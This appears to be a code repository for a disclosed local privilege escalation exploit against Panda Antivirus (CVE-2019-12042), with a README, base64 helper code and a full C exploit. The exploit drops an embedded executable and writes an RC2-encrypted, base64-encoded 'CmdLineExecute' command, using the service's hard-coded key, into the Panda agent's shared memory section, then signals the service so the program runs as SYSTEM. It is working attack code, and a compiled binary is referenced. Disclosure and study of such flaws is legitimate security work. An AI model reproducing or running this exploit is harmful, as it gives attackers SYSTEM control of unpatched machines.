├── poc.png
├── resource.h
├── bin
└── exploit.exe
├── README.md
├── base64.h
├── base64.c
└── exploit.c
/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SouhailHammou/Panda-Antivirus-LPE/HEAD/poc.png
--------------------------------------------------------------------------------
/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SouhailHammou/Panda-Antivirus-LPE/HEAD/resource.h
--------------------------------------------------------------------------------
/bin/exploit.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SouhailHammou/Panda-Antivirus-LPE/HEAD/bin/exploit.exe
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Panda Antivirus - Local Privilege Escalation (CVE-2019-12042)
2 | This is the exploit for a vulnerability I found in Panda Antivirus leading to escalation of privileges to SYSTEM.
3 |
4 | The affected products are : Versions < 18.07.03 of Panda Dome, Panda Internet Security, Panda Antivirus Pro, Panda Global Protection, Panda Gold Protection, and old versions of Panda Antivirus >= 15.0.4.
5 |
6 | The issue has been fixed in version 18.07.03.
7 |
8 | A compiled x86 exploit can be found under the [bin](bin) directory, it executes as SYSTEM a dummy program that loops indefinitely. The compiled exploit is universal to all Windows versions and to all the products above.
9 |
10 | Link to advisory : https://www.pandasecurity.com/usa/support/card?id=100063
11 |
12 | ## Technical write-up
13 | https://rce4fun.blogspot.com/2019/05/panda-antivirus-local-privilege.html
14 |
15 | #### Poc image (Windows 10 x64)
16 | 
17 |
--------------------------------------------------------------------------------
/base64.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_LICENSE_HEADER_START@
5 | *
6 | * Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
7 | *
8 | * This file contains Original Code and/or Modifications of Original Code
9 | * as defined in and that are subject to the Apple Public Source License
10 | * Version 2.0 (the 'License'). You may not use this file except in
11 | * compliance with the License. Please obtain a copy of the License at
12 | * http://www.opensource.apple.com/apsl/ and read it before using this
13 | * file.
14 | *
15 | * The Original Code and all software distributed under the License are
16 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
17 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
18 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
19 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
20 | * Please see the License for the specific language governing rights and
21 | * limitations under the License.
22 | *
23 | * @APPLE_LICENSE_HEADER_END@
24 | */
25 | /* ====================================================================
26 | * Copyright (c) 1995-1999 The Apache Group. All rights reserved.
27 | *
28 | * Redistribution and use in source and binary forms, with or without
29 | * modification, are permitted provided that the following conditions
30 | * are met:
31 | *
32 | * 1. Redistributions of source code must retain the above copyright
33 | * notice, this list of conditions and the following disclaimer.
34 | *
35 | * 2. Redistributions in binary form must reproduce the above copyright
36 | * notice, this list of conditions and the following disclaimer in
37 | * the documentation and/or other materials provided with the
38 | * distribution.
39 | *
40 | * 3. All advertising materials mentioning features or use of this
41 | * software must display the following acknowledgment:
42 | * "This product includes software developed by the Apache Group
43 | * for use in the Apache HTTP server project (http://www.apache.org/)."
44 | *
45 | * 4. The names "Apache Server" and "Apache Group" must not be used to
46 | * endorse or promote products derived from this software without
47 | * prior written permission. For written permission, please contact
48 | * apache@apache.org.
49 | *
50 | * 5. Products derived from this software may not be called "Apache"
51 | * nor may "Apache" appear in their names without prior written
52 | * permission of the Apache Group.
53 | *
54 | * 6. Redistributions of any form whatsoever must retain the following
55 | * acknowledgment:
56 | * "This product includes software developed by the Apache Group
57 | * for use in the Apache HTTP server project (http://www.apache.org/)."
58 | *
59 | * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
60 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
61 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
62 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
63 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
64 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
65 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
66 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
67 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
68 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
69 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
70 | * OF THE POSSIBILITY OF SUCH DAMAGE.
71 | * ====================================================================
72 | *
73 | * This software consists of voluntary contributions made by many
74 | * individuals on behalf of the Apache Group and was originally based
75 | * on public domain software written at the National Center for
76 | * Supercomputing Applications, University of Illinois, Urbana-Champaign.
77 | * For more information on the Apache Group and the Apache HTTP server
78 | * project, please see .
79 | *
80 | */
81 |
82 |
83 |
84 | #ifndef _BASE64_H_
85 | #define _BASE64_H_
86 |
87 | #ifdef __cplusplus
88 | extern "C" {
89 | #endif
90 |
91 | int Base64encode_len(int len);
92 | int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src);
93 |
94 | int Base64decode_len(const char * coded_src);
95 | int Base64decode(char * plain_dst, const char *coded_src);
96 |
97 | #ifdef __cplusplus
98 | }
99 | #endif
100 |
101 | #endif //_BASE64_H_
102 |
--------------------------------------------------------------------------------
/base64.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_LICENSE_HEADER_START@
5 | *
6 | * Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
7 | *
8 | * This file contains Original Code and/or Modifications of Original Code
9 | * as defined in and that are subject to the Apple Public Source License
10 | * Version 2.0 (the 'License'). You may not use this file except in
11 | * compliance with the License. Please obtain a copy of the License at
12 | * http://www.opensource.apple.com/apsl/ and read it before using this
13 | * file.
14 | *
15 | * The Original Code and all software distributed under the License are
16 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
17 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
18 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
19 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
20 | * Please see the License for the specific language governing rights and
21 | * limitations under the License.
22 | *
23 | * @APPLE_LICENSE_HEADER_END@
24 | */
25 | /* ====================================================================
26 | * Copyright (c) 1995-1999 The Apache Group. All rights reserved.
27 | *
28 | * Redistribution and use in source and binary forms, with or without
29 | * modification, are permitted provided that the following conditions
30 | * are met:
31 | *
32 | * 1. Redistributions of source code must retain the above copyright
33 | * notice, this list of conditions and the following disclaimer.
34 | *
35 | * 2. Redistributions in binary form must reproduce the above copyright
36 | * notice, this list of conditions and the following disclaimer in
37 | * the documentation and/or other materials provided with the
38 | * distribution.
39 | *
40 | * 3. All advertising materials mentioning features or use of this
41 | * software must display the following acknowledgment:
42 | * "This product includes software developed by the Apache Group
43 | * for use in the Apache HTTP server project (http://www.apache.org/)."
44 | *
45 | * 4. The names "Apache Server" and "Apache Group" must not be used to
46 | * endorse or promote products derived from this software without
47 | * prior written permission. For written permission, please contact
48 | * apache@apache.org.
49 | *
50 | * 5. Products derived from this software may not be called "Apache"
51 | * nor may "Apache" appear in their names without prior written
52 | * permission of the Apache Group.
53 | *
54 | * 6. Redistributions of any form whatsoever must retain the following
55 | * acknowledgment:
56 | * "This product includes software developed by the Apache Group
57 | * for use in the Apache HTTP server project (http://www.apache.org/)."
58 | *
59 | * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
60 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
61 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
62 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
63 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
64 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
65 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
66 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
67 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
68 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
69 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
70 | * OF THE POSSIBILITY OF SUCH DAMAGE.
71 | * ====================================================================
72 | *
73 | * This software consists of voluntary contributions made by many
74 | * individuals on behalf of the Apache Group and was originally based
75 | * on public domain software written at the National Center for
76 | * Supercomputing Applications, University of Illinois, Urbana-Champaign.
77 | * For more information on the Apache Group and the Apache HTTP server
78 | * project, please see .
79 | *
80 | */
81 |
82 | /* Base64 encoder/decoder. Originally Apache file ap_base64.c
83 | */
84 |
85 | #include
86 |
87 | #include "base64.h"
88 |
89 | /* aaaack but it's fast and const should make it shared text page. */
90 | static const unsigned char pr2six[256] =
91 | {
92 | /* ASCII table */
93 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
94 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
95 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
96 | 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
97 | 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
98 | 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
99 | 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
100 | 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
101 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
102 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
103 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
104 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
105 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
106 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
107 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
108 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
109 | };
110 |
111 | int Base64decode_len(const char *bufcoded)
112 | {
113 | int nbytesdecoded;
114 | register const unsigned char *bufin;
115 | register int nprbytes;
116 |
117 | bufin = (const unsigned char *)bufcoded;
118 | while (pr2six[*(bufin++)] <= 63);
119 |
120 | nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
121 | nbytesdecoded = ((nprbytes + 3) / 4) * 3;
122 |
123 | return nbytesdecoded + 1;
124 | }
125 |
126 | int Base64decode(char *bufplain, const char *bufcoded)
127 | {
128 | int nbytesdecoded;
129 | register const unsigned char *bufin;
130 | register unsigned char *bufout;
131 | register int nprbytes;
132 |
133 | bufin = (const unsigned char *)bufcoded;
134 | while (pr2six[*(bufin++)] <= 63);
135 | nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
136 | nbytesdecoded = ((nprbytes + 3) / 4) * 3;
137 |
138 | bufout = (unsigned char *)bufplain;
139 | bufin = (const unsigned char *)bufcoded;
140 |
141 | while (nprbytes > 4) {
142 | *(bufout++) =
143 | (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
144 | *(bufout++) =
145 | (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
146 | *(bufout++) =
147 | (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
148 | bufin += 4;
149 | nprbytes -= 4;
150 | }
151 |
152 | /* Note: (nprbytes == 1) would be an error, so just ingore that case */
153 | if (nprbytes > 1) {
154 | *(bufout++) =
155 | (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
156 | }
157 | if (nprbytes > 2) {
158 | *(bufout++) =
159 | (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
160 | }
161 | if (nprbytes > 3) {
162 | *(bufout++) =
163 | (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
164 | }
165 |
166 | *(bufout++) = '\0';
167 | nbytesdecoded -= (4 - nprbytes) & 3;
168 | return nbytesdecoded;
169 | }
170 |
171 | static const char basis_64[] =
172 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
173 |
174 | int Base64encode_len(int len)
175 | {
176 | return ((len + 2) / 3 * 4) + 1;
177 | }
178 |
179 | int Base64encode(char *encoded, const char *string, int len)
180 | {
181 | int i;
182 | char *p;
183 |
184 | p = encoded;
185 | for (i = 0; i < len - 2; i += 3) {
186 | *p++ = basis_64[(string[i] >> 2) & 0x3F];
187 | *p++ = basis_64[((string[i] & 0x3) << 4) |
188 | ((int)(string[i + 1] & 0xF0) >> 4)];
189 | *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
190 | ((int)(string[i + 2] & 0xC0) >> 6)];
191 | *p++ = basis_64[string[i + 2] & 0x3F];
192 | }
193 | if (i < len) {
194 | *p++ = basis_64[(string[i] >> 2) & 0x3F];
195 | if (i == (len - 1)) {
196 | *p++ = basis_64[((string[i] & 0x3) << 4)];
197 | *p++ = '=';
198 | }
199 | else {
200 | *p++ = basis_64[((string[i] & 0x3) << 4) |
201 | ((int)(string[i + 1] & 0xF0) >> 4)];
202 | *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
203 | }
204 | *p++ = '=';
205 | }
206 |
207 | *p++ = '\0';
208 | return p - encoded;
209 | }
210 |
--------------------------------------------------------------------------------
/exploit.c:
--------------------------------------------------------------------------------
1 | // Souhail HAMMOU - 2019
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "base64.h"
7 | #include "resource.h"
8 |
9 |
10 | #define STEPS
11 | #define DBG
12 | #define SECTION_SIZE 0x2414
13 |
14 | typedef struct _KEYBLOB
15 | {
16 | BLOBHEADER header;
17 | DWORD KeyLength;
18 | CHAR key[16];
19 | } KEYBLOB;
20 |
21 | /*
22 | Here is an example of the events that we queue to the service
23 | {
24 | "CmdLineExecute": //Name of the event, this specific event is dispatched by Plugin_Commands.DLL
25 | {
26 | "ExeName": "cmd.exe", //Target executable name
27 | "Parameters": "/c start C:\\Users\\VM\\Desktop\\run_me_as_system.exe", //Parameters to CMD.EXE
28 | "SourcePath": "file://C:\\Windows\\System32", //The directory where "ExeName" resides
29 | "ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE
30 | }
31 | }
32 | */
33 |
34 | CHAR* CommandFormat = "{\"CmdLineExecute\":{\"ExeName\":\"%s\",\"Parameters\":\"/c start %s\",\"SourcePath\":\"file://%s\",\"ExeMD5\":\"%s\"}}";
35 | CHAR* rc2key = "3sa342ZvSfB68aEq";
36 |
37 | VOID EscapePathForJSON(CHAR* Dest, CHAR* FilePath)
38 | {
39 | UINT i, j, prev;
40 |
41 | //Detect if backslashes in FilePath are already escaped based on the first backslash in the path
42 | for (i = 0, prev = -1; i < strlen(FilePath); i++)
43 | {
44 | if (FilePath[i] == '\\')
45 | {
46 | if (prev == -1)
47 | prev = i;
48 | else if (prev + 1 == i)
49 | {
50 | //It is already escaped, bail out !
51 | return;
52 | }
53 | }
54 | }
55 |
56 | //Espace the backslashes in the path
57 | for (i = 0, j = 0; i < strlen(FilePath); i++)
58 | {
59 | CHAR c = FilePath[i];
60 | Dest[j++] = c;
61 | if (c == '\\')
62 | {
63 | Dest[j++] = c;
64 | }
65 | }
66 | }
67 |
68 | VOID ConvertBHashToString(UINT Hashlen, CHAR *Dest, BYTE* Hash)
69 | {
70 | /*
71 | Converts a hash from its binary form to a string.
72 | */
73 | UINT hash_i;
74 | UINT dest_i;
75 | UINT8 v5;
76 | UINT8 v6;
77 | UINT8 v7;
78 | CHAR v8;
79 | CHAR v9;
80 |
81 | hash_i = 0;
82 | dest_i = 0;
83 | if (Hashlen)
84 | {
85 | do
86 | {
87 | v5 = Hash[hash_i];
88 | v6 = v5 >> 4;
89 | v7 = v5 % 16;
90 | if (v6 <= 9u)
91 | v8 = v6 + 0x30;
92 | else
93 | v8 = v6 + 0x57;
94 | if (v7 <= 9)
95 | v9 = v7 + 0x30;
96 | else
97 | v9 = v7 + 0x57;
98 | Dest[dest_i] = v8;
99 | Dest[dest_i + 1] = v9;
100 | ++hash_i;
101 | dest_i += 2;
102 | } while (hash_i < Hashlen);
103 | Dest[dest_i] = 0;
104 | }
105 | else
106 | {
107 | *Dest = 0;
108 | }
109 | }
110 |
111 | CHAR* GetFileMd5(CHAR* filepath)
112 | {
113 | /*
114 | Calculates the MD5 hash of a given file
115 | */
116 | HANDLE hFile;
117 | HCRYPTPROV hProv = 0;
118 | HCRYPTHASH hHash = 0;
119 | DWORD nRead;
120 | BYTE bHash[64] = { 0 };
121 | DWORD bHashSz = 64;
122 | BYTE* buffer = NULL;
123 | CHAR* Hash = NULL;
124 |
125 | hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
126 | if (hFile == INVALID_HANDLE_VALUE)
127 | {
128 | #ifdef DBG
129 | printf("GetFileMd5 : CreateFileA failed %x !\n", GetLastError());
130 | #endif
131 | return NULL;
132 | }
133 |
134 | if (!CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, 0))
135 | {
136 | if (GetLastError() != NTE_BAD_KEYSET || !CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, CRYPT_NEWKEYSET))
137 | {
138 | #ifdef DBG
139 | printf("GetFileMd5 : CryptAcquireContext failed %x !\n", GetLastError());
140 | #endif
141 | return NULL;
142 | }
143 | }
144 |
145 | if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash))
146 | {
147 | #ifdef DBG
148 | printf("GetFileMd5 : CryptCreateHash failed %x !\n", GetLastError());
149 | #endif
150 | return NULL;
151 | }
152 |
153 | buffer = (UCHAR*)HeapAlloc(GetProcessHeap(), 0, 0x1000);
154 |
155 |
156 | while (TRUE)
157 | {
158 | if (!ReadFile(hFile, buffer, 0x1000, &nRead, NULL))
159 | {
160 | #ifdef DBG
161 | printf("GetFileMd5 : ReadFile failed %x !", GetLastError());
162 | #endif
163 | return NULL;
164 | }
165 |
166 | if (!nRead)
167 | {
168 | //EOF
169 | if (!CryptGetHashParam(hHash, HP_HASHVAL, bHash, &bHashSz, 0))
170 | {
171 | #ifdef DBG
172 | printf("GetFileMd5 : CryptGetHashParam failed %x!\n", GetLastError());
173 | #endif
174 | return NULL;
175 | }
176 | break;
177 | }
178 | else
179 | {
180 | if (!CryptHashData(hHash, (const BYTE*)buffer, nRead, 0))
181 | {
182 | #ifdef DBG
183 | printf("GetFileMd5 : CryptHashData failed %x !\n", GetLastError());
184 | #endif
185 | return NULL;
186 | }
187 | }
188 | }
189 |
190 | /*Got the hash, now let's convert it into a string*/
191 | Hash = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 64);
192 |
193 | ConvertBHashToString(bHashSz, Hash, bHash);
194 |
195 | /*We're done, return the hash*/
196 | return Hash;
197 | }
198 |
199 | WCHAR* EncryptEncodeCommand(CHAR* command)
200 | {
201 | /*
202 | The service expects the JSON event message to be encrypted using RC2 and then base64 encoded.
203 | This function returns the unicode base64 string of the encrypted message.
204 | */
205 | HCRYPTPROV hProv;
206 | HCRYPTKEY hKey;
207 | KEYBLOB blob;
208 | DWORD EncryptedLen;
209 | CHAR* Encrypted = NULL;
210 | CHAR* B64Encoded = NULL;
211 | WCHAR* uB64Encoded = NULL;
212 |
213 | /*Setup the keyblob*/
214 | blob.header.aiKeyAlg = 0x6602; //RC2
215 | blob.header.bType = 0x8;
216 | blob.header.bVersion = 2;
217 | blob.header.reserved = 0;
218 | blob.KeyLength = strlen(rc2key);
219 | memcpy(blob.key, rc2key, strlen(rc2key));
220 |
221 | if (!CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, 0))
222 | {
223 | if (GetLastError() != NTE_BAD_KEYSET || !CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, CRYPT_NEWKEYSET))
224 | {
225 | #ifdef DBG
226 | printf("EncryptString : CryptAcquireContext failed %x !\n", GetLastError());
227 | #endif
228 | return NULL;
229 | }
230 | }
231 |
232 | if (!CryptImportKey(hProv, (const BYTE*)&blob, sizeof(KEYBLOB), 0, CRYPT_IPSEC_HMAC_KEY, &hKey))
233 | {
234 | #ifdef DBG
235 | printf("EncryptString : CryptImportKey failed %x !\n", GetLastError());
236 | #endif
237 | return NULL;
238 | }
239 |
240 | //Let's encrypt the message
241 | EncryptedLen = strlen(command);
242 | Encrypted = (CHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE);
243 |
244 | strcpy(Encrypted, command);
245 |
246 | if (!CryptEncrypt(hKey, 0, TRUE, 0, (BYTE*)Encrypted, &EncryptedLen, SECTION_SIZE))
247 | {
248 | #ifdef DBG
249 | printf("EncryptString : CryptEncrypt failed %x !\n", GetLastError());
250 | #endif
251 | return NULL;
252 | }
253 |
254 | //Base64 encode the encrypted command
255 | B64Encoded = (CHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE);
256 | Base64encode(B64Encoded, Encrypted, EncryptedLen);
257 |
258 | //Convert the Base64 to unicode since it should be written as such in the shared section
259 | uB64Encoded = (WCHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE);
260 | mbstowcs(uB64Encoded, B64Encoded, SECTION_SIZE / 2);
261 |
262 |
263 | return uB64Encoded;
264 | }
265 |
266 | void GenRandomExeName(CHAR* Filename, int n)
267 | {
268 | /*
269 | Generate a random executable name
270 | */
271 | char* charset = "abcdefghijklmnopqrstuvwxyz";
272 | LARGE_INTEGER cnt;
273 | srand(time(NULL));
274 | for (int i = 0; i < n; i++)
275 | {
276 | Filename[i] = charset[rand() % strlen(charset)];
277 | }
278 | Filename[n] = '\0';
279 | strcat(Filename, ".exe");
280 | }
281 |
282 | VOID main(int argc, char** argv)
283 | {
284 | HRSRC hRsrc;
285 | LPVOID PE;
286 | HANDLE hFile;
287 | DWORD Nbwritten, PathLength;
288 | CHAR* Filename[32];
289 | CHAR* ExeName = "cmd.exe";
290 | CHAR* TargetFilePath;
291 | CHAR* EscapedTargetFilePath;
292 | CHAR* SystemPath;
293 | CHAR* CmdPath;
294 | CHAR* FilePath;
295 | HANDLE hEvent;
296 | HANDLE hMapping;
297 | BYTE* View;
298 | CHAR* FileHash;
299 | CHAR* EscapedCmdPath;
300 | CHAR* Command;
301 | WCHAR* EncryptedCommand;
302 |
303 | //Extract our executable
304 | hRsrc = FindResourceA(NULL, MAKEINTRESOURCE(IDR_TARGET_FILE1), "TARGET_FILE");
305 | if (! hRsrc )
306 | {
307 | #ifdef DBG
308 | printf("FindResourceA failed %x !", GetLastError());
309 | #endif
310 | return;
311 | }
312 |
313 | PE = LoadResource(NULL, hRsrc);
314 | if (!PE)
315 | {
316 | #ifdef DBG
317 | printf("LoadResource failed %x !", GetLastError());
318 | #endif
319 | return;
320 | }
321 |
322 | //Generate random filename
323 | GenRandomExeName(Filename, 5);
324 |
325 | #ifdef STEPS
326 | printf("[+] Dropping the executable to disk\n");
327 | #endif
328 | //Create a new file in the current directory
329 | hFile = CreateFile(Filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
330 | if (hFile == INVALID_HANDLE_VALUE)
331 | {
332 | #ifdef DBG
333 | printf("CreateFile failed %x !", GetLastError());
334 | #endif
335 | return;
336 | }
337 |
338 | //Write the PE file to disk
339 | if (!WriteFile(hFile, PE, SizeofResource(NULL, hRsrc), &Nbwritten, NULL))
340 | {
341 | #ifdef DBG
342 | printf("WriteFile failed %x !", GetLastError());
343 | #endif
344 | return;
345 | }
346 |
347 | CloseHandle(hFile);
348 |
349 | PathLength = GetFullPathName(Filename, 0, 0, 0);
350 | TargetFilePath = HeapAlloc(GetProcessHeap(), 0, PathLength);
351 | GetFullPathName(Filename, PathLength, TargetFilePath, NULL);
352 |
353 | #ifdef STEPS
354 | printf("[+] Opening a handle to the event PandaDevicesAgentSharedMemoryChange\n");
355 | #endif
356 |
357 | if (!(hEvent = OpenEventA(EVENT_ALL_ACCESS, FALSE, "Global\\PandaDevicesAgentSharedMemoryChange")))
358 | {
359 | #ifdef DBG
360 | printf("OpenEventA failed %x !\n", GetLastError());
361 | #endif
362 | return;
363 | }
364 |
365 | #ifdef STEPS
366 | printf("[+] Mapping a view of the section PandaDevicesAgentSharedMemory into the address space\n");
367 | #endif
368 |
369 | if (!(hMapping = OpenFileMappingA(FILE_MAP_WRITE | FILE_MAP_READ, FALSE, "Global\\PandaDevicesAgentSharedMemory")))
370 | {
371 | #ifdef DBG
372 | printf("OpenFileMappingA failed %x !", GetLastError());
373 | #endif
374 | return;
375 | }
376 |
377 | //Map a view of the section
378 | View = (BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, SECTION_SIZE);
379 | if (!View)
380 | {
381 | #ifdef DBG
382 | printf("MapViewOfFile failed %x !", GetLastError());
383 | #endif
384 | return;
385 | }
386 |
387 | #ifdef STEPS
388 | printf("[+] Constructing the JSON message\n");
389 | #endif
390 | //Get path to cmd.exe
391 | PathLength = GetSystemDirectory(0, 0);
392 | SystemPath = HeapAlloc(GetProcessHeap(), 0, PathLength);
393 | GetSystemDirectory(SystemPath, PathLength);
394 |
395 | //setup the full path to cmd.exe for MD5 hashing
396 | CmdPath = HeapAlloc(GetProcessHeap(), 0, strlen(SystemPath) + strlen(ExeName) + 2);
397 | strcpy(CmdPath, SystemPath);
398 | strcat(CmdPath, "\\");
399 | strcat(CmdPath, ExeName);
400 |
401 | //Get the MD5 hash of cmd.exe
402 | FileHash = GetFileMd5(CmdPath);
403 | if (!FileHash)
404 | {
405 | #ifdef DBG
406 | printf("Failed to calculate the MD5 hash !\n");
407 | #endif
408 | return;
409 | }
410 |
411 | /*
412 | Setup the JSON command
413 | */
414 |
415 | //Escape backslashes in the full path to cmd.exe
416 | EscapedCmdPath = (CHAR*)HeapAlloc(GetProcessHeap(), 0, strlen(CmdPath) * 2);
417 | EscapePathForJSON(EscapedCmdPath, SystemPath);
418 |
419 |
420 | //Escape backslashes in the full path to our executable
421 | EscapedTargetFilePath = (CHAR*)HeapAlloc(GetProcessHeap(), 0, strlen(TargetFilePath) * 2);
422 | EscapePathForJSON(EscapedTargetFilePath, TargetFilePath);
423 |
424 |
425 | //Generate the final JSON
426 | Command = (CHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE);
427 | sprintf(Command, CommandFormat, ExeName, EscapedTargetFilePath, EscapedCmdPath, FileHash);
428 |
429 | #ifdef STEPS
430 | printf("[+] Encrypting and encoding the message\n");
431 | #endif
432 | EncryptedCommand = EncryptEncodeCommand(Command);
433 | if (!EncryptedCommand)
434 | {
435 | #ifdef DBG
436 | printf("Failed to encrypt or base64 encode the command\n !");
437 | return;
438 | #endif
439 | }
440 |
441 | #ifdef STEPS
442 | printf("[+] Writing the encrypted message to the section\n");
443 | #endif
444 |
445 | //Write the encrypted JSON to the section
446 | memcpy(View + 2, EncryptedCommand, lstrlenW(EncryptedCommand) * 2);
447 |
448 | #ifdef STEPS
449 | printf("[+] Signaling the event to queue the CmdLineExecute event\n");
450 | #endif
451 |
452 | //Set the event to wake up the waiting thread in AgentSvc.exe
453 | SetEvent(hEvent);
454 |
455 | #ifdef STEPS
456 | printf("[+] SYSTEM process created !\n");
457 | getchar();
458 | #endif
459 | }
--------------------------------------------------------------------------------